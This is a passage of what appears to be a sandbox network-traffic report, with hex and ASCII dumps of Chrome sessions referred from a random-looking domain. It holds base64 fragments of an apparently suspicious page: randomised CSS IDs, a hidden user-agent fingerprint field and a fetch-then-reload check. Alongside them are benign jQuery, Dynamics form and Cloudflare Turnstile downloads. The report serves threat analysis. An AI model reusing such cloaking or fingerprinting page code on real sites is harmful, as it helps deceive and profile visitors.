2024-04-23 19:53:39 UTC	1369	IN	Data Raw: 44 51 6f 67 49 47 39 32 5a 58 4a 6d 62 47 39 33 4f 69 42 6f 61 57 52 6b 5a 57 34 37 44 51 70 39 44 51 6f 6a 52 6c 5a 59 62 6e 56 6e 5a 33 64 54 54 79 42 6f 4e 48 74 74 59 58 4a 6e 61 57 34 74 64 47 39 77 4f 6a 41 37 62 57 46 79 5a 32 6c 75 4c 57 4a 76 64 48 52 76 62 54 6f 75 4e 58 4a 6c 62 54 74 6d 62 32 35 30 4c 58 64 6c 61 57 64 6f 64 44 6f 31 4d 44 41 37 62 47 6c 75 5a 53 31 6f 5a 57 6c 6e 61 48 51 36 4d 53 34 79 4f 33 30 4e 43 69 4e 47 56 6c 68 75 64 57 64 6e 64 31 4e 50 49 47 67 30 65 32 5a 76 62 6e 51 74 63 32 6c 36 5a 54 70 6a 59 57 78 6a 4b 44 45 75 4d 79 6b 37 66 51 30 4b 51 47 31 6c 5a 47 6c 68 49 43 68 74 61 57 34 74 64 32 6c 6b 64 47 67 36 4d 54 49 77 4d 48 42 34 4b 58 73 4e 43 69 4e 47 56 6c 68 75 64 57 64 6e 64 31 4e 50 49 47 67 30 65 32 5a Data Ascii: DQogIG92ZXJmbG93OiBoaWRkZW47DQp9DQojRlZYbnVnZ3dTTyBoNHttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbTouNXJlbTtmb250LXdlaWdodDo1MDA7bGluZS1oZWlnaHQ6MS4yO30NCiNGVlhudWdnd1NPIGg0e2ZvbnQtc2l6ZTpjYWxjKDEuMyk7fQ0KQG1lZGlhIChtaW4td2lkdGg6MTIwMHB4KXsNCiNGVlhudWdnd1NPIGg0e2Z
2024-04-23 19:53:39 UTC	1369	IN	Data Raw: 54 49 67 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 49 44 41 75 4e 58 4a 6c 62 53 46 70 62 58 42 76 63 6e 52 68 62 6e 51 37 66 51 30 4b 49 30 5a 57 57 47 35 31 5a 32 64 33 55 30 38 67 4c 6d 67 30 49 48 74 6d 62 32 35 30 4c 58 4e 70 65 6d 55 36 49 47 4e 68 62 47 4d 6f 4c 6a 6b 77 4d 48 4a 6c 62 53 41 72 49 43 34 7a 64 6e 63 70 4f 33 30 4e 43 69 4e 47 56 6c 68 75 64 57 64 6e 64 31 4e 50 49 43 35 71 64 58 4e 30 61 57 5a 35 4c 57 4e 76 62 6e 52 6c 62 6e 51 74 59 32 56 75 64 47 56 79 65 32 70 31 63 33 52 70 5a 6e 6b 74 59 32 39 75 64 47 56 75 64 44 70 6a 5a 57 35 30 5a 58 49 68 61 57 31 77 62 33 4a 30 59 57 35 30 4f 33 30 4e 43 69 4e 47 56 6c 68 75 64 57 64 6e 64 31 4e 50 4c 6d 31 30 4c 54 56 37 62 57 46 79 5a 32 6c 75 4c 58 52 76 63 44 6f 7a 63 6d 56 74 Data Ascii: TIge21hcmdpbi10b3A6IDAuNXJlbSFpbXBvcnRhbnQ7fQ0KI0ZWWG51Z2d3U08gLmg0IHtmb250LXNpemU6IGNhbGMoLjkwMHJlbSArIC4zdncpO30NCiNGVlhudWdnd1NPIC5qdXN0aWZ5LWNvbnRlbnQtY2VudGVye2p1c3RpZnktY29udGVudDpjZW50ZXIhaW1wb3J0YW50O30NCiNGVlhudWdnd1NPLm10LTV7bWFyZ2luLXRvcDozcmVt
2024-04-23 19:53:39 UTC	1369	IN	Data Raw: 56 6c 50 53 49 69 50 67 30 4b 50 47 6c 75 63 48 56 30 49 48 52 35 63 47 55 39 49 6d 68 70 5a 47 52 6c 62 69 49 67 61 57 51 39 49 6d 4a 73 64 47 52 31 59 53 49 67 62 6d 46 74 5a 54 30 69 59 6d 78 30 5a 48 56 68 49 69 42 32 59 57 78 31 5a 54 30 69 54 57 39 36 61 57 78 73 59 53 38 31 4c 6a 41 67 4b 46 64 70 62 6d 52 76 64 33 4d 67 54 6c 51 67 4d 54 41 75 4d 44 73 67 56 32 6c 75 4e 6a 51 37 49 48 67 32 4e 43 6b 67 51 58 42 77 62 47 56 58 5a 57 4a 4c 61 58 51 76 4e 54 4d 33 4c 6a 4d 32 49 43 68 4c 53 46 52 4e 54 43 77 67 62 47 6c 72 5a 53 42 48 5a 57 4e 72 62 79 6b 67 51 32 68 79 62 32 31 6c 4c 7a 45 78 4e 79 34 77 4c 6a 41 75 4d 43 42 54 59 57 5a 68 63 6d 6b 76 4e 54 4d 33 4c 6a 4d 32 49 6a 34 4e 43 6a 78 70 62 6e 42 31 64 43 42 30 65 58 42 6c 50 53 4a 6f 61 Data Ascii: VlPSIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImJsdGR1YSIgbmFtZT0iYmx0ZHVhIiB2YWx1ZT0iTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExNy4wLjAuMCBTYWZhcmkvNTM3LjM2Ij4NCjxpbnB1dCB0eXBlPSJoa
2024-04-23 19:53:39 UTC	622	IN	Data Raw: 6f 57 6b 31 4e 64 32 70 73 52 6b 4a 30 54 53 6b 4e 43 69 41 67 49 43 41 67 49 43 41 67 66 53 6b 75 64 47 68 6c 62 69 68 79 5a 58 4e 77 62 32 35 7a 5a 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 63 6d 56 7a 63 47 39 75 63 32 55 75 61 6e 4e 76 62 69 67 70 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 39 4b 53 35 30 61 47 56 75 4b 47 52 68 64 47 45 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 61 57 59 6f 5a 47 46 30 59 56 73 6e 63 33 52 68 64 48 56 7a 4a 31 30 67 50 54 30 67 4a 33 4e 31 59 32 4e 6c 63 33 4d 6e 4b 58 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 47 78 76 59 32 46 30 61 57 39 75 4c 6e 4a 6c 62 47 39 68 5a 43 67 70 4f 77 30 4b 49 43 41 67 49 43 Data Ascii: oWk1Nd2psRkJ0TSkNCiAgICAgICAgfSkudGhlbihyZXNwb25zZSA9PiB7DQogICAgICAgICAgICByZXR1cm4gcmVzcG9uc2UuanNvbigpOw0KICAgICAgICB9KS50aGVuKGRhdGEgPT4gew0KICAgICAgICAgICAgaWYoZGF0YVsnc3RhdHVzJ10gPT0gJ3N1Y2Nlc3MnKXsNCiAgICAgICAgICAgIGxvY2F0aW9uLnJlbG9hZCgpOw0KICAgIC
2024-04-23 19:53:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49738	52.146.76.30	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:38 UTC	461	OUT	GET /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:39 UTC	294	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Apr 2024 19:53:38 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-ms-trace-id: eae3fe9b03981da141c6bba804d18a35 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff
2024-04-23 19:53:39 UTC	16090	IN	Data Raw: 31 66 33 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 72 6b 65 74 69 6e 67 20 46 6f 72 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 Data Ascii: 1f33<!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Marketing Form</title> <meta name="referrer
2024-04-23 19:53:39 UTC	12977	IN	Data Raw: 6e 74 42 6c 6f 63 6b 20 3e 20 64 69 76 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 72 6f 77 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 67 61 70 3a 20 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 4f 70 74 69 6f 6e 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 72 61 64 69 6f 62 75 74 74 6f 6e 73 20 64 69 76 20 6c 61 62 65 6c 2c Data Ascii: ntBlock > div { display: flex; flex-direction: row; align-items: center; padding: 0px; gap: 8px; } .twoOptionFormFieldBlock div.radiobuttons div label,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49741	151.101.194.137	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:39 UTC	621	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o5u7g.zleu9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:39 UTC	571	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 23 Apr 2024 19:53:39 GMT Age: 3667508 X-Served-By: cache-lga21931-LGA, cache-pdk-kfty2130082-PDK X-Cache: HIT, HIT X-Cache-Hits: 1079, 434 X-Timer: S1713902020.827338,VS0,VE0 Vary: Accept-Encoding
2024-04-23 19:53:39 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-04-23 19:53:39 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-04-23 19:53:39 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-04-23 19:53:40 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-04-23 19:53:40 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-04-23 19:53:40 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49742	104.17.2.184	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:39 UTC	647	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o5u7g.zleu9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:39 UTC	352	IN	HTTP/1.1 302 Found Date: Tue, 23 Apr 2024 19:53:39 GMT Content-Length: 0 Connection: close cache-control: max-age=300, public location: /turnstile/v0/b/471dc2adc340/api.js?render=explicit access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 879066a82be24548-ATL alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49743	104.17.2.184	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:40 UTC	662	OUT	GET /turnstile/v0/b/471dc2adc340/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o5u7g.zleu9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:40 UTC	340	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:40 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 42415 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=31536000 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 879066ab3a62ada7-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 19:53:40 UTC	1029	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 74 28 65 2c 72 2c 74 2c 6f 2c 75 2c 73 2c 6d 29 7b 74 72 79 7b 76 61 72 20 62 3d 65 5b 73 5d 28 6d 29 2c 68 3d 62 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 64 29 7b 74 28 64 29 3b 72 65 74 75 72 6e 7d 62 2e 64 6f 6e 65 3f 72 28 68 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 68 29 2e 74 68 65 6e 28 6f 2c 75 29 7d 66 75 6e 63 74 69 6f 6e 20 45 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 75 29 7b 76 61 72 20 73 3d 65 2e 61 70 70 6c 79 28 72 2c 74 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);funct
2024-04-23 19:53:40 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 75 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 75 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 74 2e 70 75 73 68 2e 61 70 70 6c 79 28 74 2c 6f 29 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 77 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 72 29 29 3a 66 72 28 4f 62 6a 65 63 74 28 72 29 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 Data Ascii: tion(u){return Object.getOwnPropertyDescriptor(e,u).enumerable})),t.push.apply(t,o)}return t}function wt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):fr(Object(r)).forEach(funct
2024-04-23 19:53:40 UTC	1369	IN	Data Raw: 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 52 65 28 65 2c 72 29 7b 76 61 72 20 74 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 73 5b 30 5d 26 31 29 74 68 72 6f 77 20 73 5b 31 5d 3b 72 65 74 75 72 6e 20 73 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 2c 6f 2c 75 2c 73 2c 6d 3b 72 65 74 75 72 6e 20 6d 3d 7b 6e 65 78 74 3a 62 28 30 29 2c 74 68 72 6f 77 3a 62 28 31 29 2c 72 65 74 75 72 6e 3a 62 28 32 29 7d 2c 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 6d 5b 53 79 6d 62 6f Data Ascii: &typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Re(e,r){var t={label:0,sent:function(){if(s[0]&1)throw s[1];return s[1]},trys:[],ops:[]},o,u,s,m;return m={next:b(0),throw:b(1),return:b(2)},typeof Symbol=="function"&&(m[Symbo
